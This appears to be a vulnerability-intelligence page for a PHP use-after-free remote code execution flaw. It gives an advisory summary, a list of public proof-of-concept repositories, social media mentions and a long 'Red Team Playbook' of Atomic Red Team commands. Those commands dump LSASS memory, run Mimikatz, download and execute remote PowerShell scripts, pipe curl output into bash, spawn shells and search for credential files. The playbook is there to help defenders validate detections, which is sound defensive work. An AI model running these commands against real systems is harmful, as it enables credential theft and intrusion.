CVE-2026-109619
Overview
This vulnerability is a use-after-free condition within the PHP interpreter's global state management. The root cause lies in improper resetting or repopulation of global state pointers that reference request memory after it has been freed. This flaw affects the internal memory handling mechanisms of the PHP runtime environment, specifically its management of request-scoped global variables.
Vulnerability Description
PHP has various global state that temporarily points into request memory. In some scenarios, global state may not be correctly reset, or may be repopulated after being reset. The global state may then refer to request memory even after it has been freed. Subsequent requests may read or branch on this stale state before it is fully initialized. Multiple strategies can trigger this condition and produce remote code execution (RCE).
Impact
An attacker can execute arbitrary code on the vulnerable PHP server remotely without authentication or user interaction. This enables full system compromise, including unauthorized access to sensitive data and control over server-side processes. The vulnerability allows attackers to bypass typical security boundaries, potentially leading to data breaches, service disruption, and lateral movement within the network environment.
Solution
Apply the security updates provided by the PHP Group as detailed in their advisory GHSA-6wmf-4rv5-p3rp available at https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp. The vendor has released patched PHP versions that address the global state management flaw. Administrators should upgrade to the fixed PHP release versions immediately and follow the vendor's instructions for secure deployment to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (10)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
unlimit0118/CVE-2026-109619-php2shell-poc
Minimal PHP session upload progress use-after-free PoC and Docker lab.
|
unlimit0118 | 4 | 0 | 2026-10-21 | View |
|
LordX404/php2shell-exploit
this is a exploit for CVE-2026-109619
|
LordX404 | 2 | 1 | 2026-10-21 | View |
|
baimaobg/php-cve-2026-109619-lab
|
baimaobg | 1 | 0 | 2026-10-22 | View |
|
santihabib/CVE-2026-109619
Cross-request use-after-free in PHP session.upload_progress (CVE-2026-109619) — root-cause analysis and reproducer for P...
|
santihabib | 0 | 1 | 2026-10-21 | View |
|
fmdiscioglu/php-cve-2026-109619-checker
Non-destructive affected-version checker for CVE-2026-109619 (GHSA-6wmf-4rv5-p3rp) PHP UAF
|
fmdiscioglu | 0 | 1 | 2026-10-21 | View |
|
VKKKV/php2shell-exp
Profile-driven php2shell chain (CVE-2026-109619 class) for stock php:*-apache images; loopback lab only.
|
VKKKV | 0 | 0 | 2026-10-22 | View |
|
cozybear-dev/cve-2026-109619
|
cozybear-dev | 0 | 0 | 2026-10-21 | View |
|
1Nightlovel/CVE-2026-109619
php2shellscanner
|
1Nightlovel | 0 | 0 | 2026-10-21 | View |
|
syrex1013/CVE-2026-109619
|
syrex1013 | 0 | 0 | 2026-10-21 | View |
|
basesixtythree/B63-POC-CVE-2026-109619
PoC and verification material for CVE-2026-109619 (PHP stale worker-global state)
|
basesixtythree | 0 | 0 | 2026-10-21 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
752 mentions from 616 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @tommiy-memo.bsky.social 2026-10-22 10:39 UTC#後で読む 用メモです→ AWS WAF を使用した PHP2Shell RCE 脆弱性 (CVE-2026-109618 および CVE-2026-109619) の緩和策Open source
-
social bsky.app @vwaimlessly.bsky.social 2026-10-22 10:18 UTCimportant PHP exploit being discussed is php2shell, which targets critical PHP runtime bugs CVE-2026-109618 and CVE-2026-109619 to enable unauthenticated remote code execution and memory/data exposure using specially crafted HTTP requests.Open source
-
social bsky.app @arc-codex.com 2026-10-22 10:13 UTCCritical PHP Vulnerability (CVE-2026-109618, CVE-2026-109619) [infocon yellow], (Wed, Oct 21st) This article frames the issue primarily as a patching race, yet it minimizes the systemic risk by focusing heavily on immediate technical worka…Open source
-
social news.ycombinator.com petecooper 2026-10-22 10:11 UTCTell HN: I unknowingly broke the PHP RCE embargo. I am sorry.Open source
-
social swecyb.com @116080658609901341 2026-10-22 10:01 UTC(security.com) PHP2Shell: Critical Unauthenticated Remote Code Execution Vulnerabilities in PHP Runtime Demand Immediate Patching In brief - This article details two critical vulnerabilities in the PHP runtime, collectively known as PHP2Sh…Open source
-
social bsky.app @infosecbot.bsky.social 2026-10-22 09:53 UTC"High Fidelity Detection Mechanism for #php2shell (CVE-2026-109618 and CVE-2026-109619)" by @SLCyberSec Blog https:// slcyber.io/research/high- fidelity-detection-mechanism-for-php2shell-cve-2026-109618-and-cve-2026-109619… — from @cyb3rop…Open source
-
social bsky.app @hacker.at.thenote.app 2026-10-22 09:48 UTCPHP2Shell: Critical PHP vulnerabilities patched, update now! The PHP development team has released emergency security updates to fix PHP2Shell, two critical vulnerabilities (CVE-2026-109618 and CVE-2026-109619) that could let attackers exe…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-22 09:45 UTCPHP2Shell: Two Critical PHP Vulnerabilities Could Let Attackers Execute Commands Without Authentication + Video Introduction: A Serious Warning for PHP Administrators Two critical vulnerabilities in PHP’s core runtime, identified as CVE-20…Open source
-
social mastodon.social @hacksgr 2026-10-22 09:43 UTCAmazon Threat Intelligence and security firms detected exploit attempts targeting PHP core flaws CVE-2026-109618 and CVE-2026-109619. The CVSS 9.2 rated vulnerabilities allow pre-authentication remote code execution across PHP 7.x and 8.x…Open source
-
social bsky.app @ubuntutr.bsky.social 2026-10-22 09:40 UTCphp2shell Güvenlik Açığı: PHP İçin Kritik Yama Yayınlandı (CVE-2026-109618 ve CVE-2026-109619) https://www.ubuntu.org.tr/php2shell-guvenlik-acigi-php-icin-kritik-yama-yayinlandi-cve-2026-109618-ve-cve-2026-109619/Open source
-
social bsky.app @crawler.baldanders.info 2026-10-22 09:40 UTC> 注意喚起: PHPにおける複数の脆弱性(CVE-2026-109618、CVE-2026-109619)に関する注意喚起 (公開) https://www.jpcert.or.jp/at/2026/at260033.htmlOpen source
-
social bsky.app @crawler.baldanders.info 2026-10-22 09:40 UTC> PHPの脆弱性対策について(CVE-2026-109618、CVE-2026-109619:PHP2shell) https://www.ipa.go.jp/security/security-alert/2026/alert20261022.htmlOpen source
-
social bsky.app @ceo.com.pl 2026-10-22 09:26 UTCDwie krytyczne podatności w PHP wywołały alarm w europejskich instytucjach publicznych. Serwisy administracji państwowej w Niemczech, Francji i Holandii były czasowo odłączane od internetu, aby ograniczyć ryzyko cyberataków. Luki CVE-2026-…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-22 09:24 UTCPHP released emergency fixes for two critical RCE flaws, CVE-2026-109618 and CVE-2026-109619. Agencies urged operators to patch or take sites offline; three darknet forums reportedly shut down while awaiting updates.Open source
-
code gist.github.com amoerke 2026-10-22 09:24 UTC# PHP-Sicherheitslücken vorbeugen > Es gibt bei PHP folgende Sicherheitslücken. Welche Codetechnischen Möglichkeiten habe ich hier um präventiv was zu machen: > > [https://cert.europa.eu/publications/security-advisories/2026-018](https://c…Open source
-
code github.com SanWRoot 2026-10-22 09:20 UTCSanWRoot/php2shell-LAB-POC-Open source
-
social bsky.app @ahmandonk.bsky.social 2026-10-22 09:19 UTC📰 Tim Pengembang PHP Rilis Patch Darurat untuk Atasi Celah Kritis PHP2Shell (CVE-2026-109618 & CVE-2026-109619) 👉 Baca artikel lengkap di sini: https://ahmandonk.com/2026/10/22/php-rilis-patch-darurat-celah-kritis-php2shell/ #apache #celah…Open source
-
code github.com KadkinRoman 2026-10-22 09:16 UTCKadkinRoman/php84-migration-reportOpen source
-
social bsky.app @cross-clover.info 2026-10-22 09:14 UTCSuiteXは7系と5系のWebページのアクセス止めるみたい?だね まあリスクの方が大きいという判断でしょう help.arena.ne.jp/hc/ja/articl...Open source
-
code github.com gei-git 2026-10-22 09:14 UTCgei-git/php2shell-pocOpen source
-
social bsky.app @jernej--s.infosec.exchange.ap.brid.gy 2026-10-22 09:13 UTC@hrbrmstr Looks like updates for pfSense (CE) are available, but you have to go through command line: https://forum.netgate.com/post/1250412Open source
-
social bsky.app @hendryadrian.bsky.social 2026-10-22 09:12 UTCPHP released fixes for two critical, unauthenticated core RCE flaws, CVE-2026-109618 and CVE-2026-109619. The article details affected versions, exposure-reduction measures, detection, and why updating is the only complete mitigation.Open source
-
code github.com Bluefire-Redteam-Cybersecurity 2026-10-22 09:12 UTCBluefire-Redteam-Cybersecurity/bluefire-php2shell-guardOpen source
-
social bsky.app @zonbonbun.bsky.social 2026-10-22 09:11 UTC【重要】PHPの脆弱性に関する当社の対応状況について | さくらインターネット www.sakura.ad.jp/corporate/in...Open source
-
code github.com hugo8xx 2026-10-22 09:05 UTChugo8xx/php2shell-wafOpen source
-
code github.com CVEChecker26 2026-10-22 09:04 UTCCVEChecker26/dydOpen source
-
social bsky.app @ytroncal.bsky.social 2026-10-22 09:02 UTCFailles critiques PHP2Shell (CVE-2026-109618, CVE-2026-109619) : comprendre, corriger, suivre les correctifs loud-technology.com/insight/fail...Open source
-
social news.ycombinator.com ardacinar 2026-10-22 09:01 UTCThere isn't an easy exploit for this PHP vulnerabilityOpen source
-
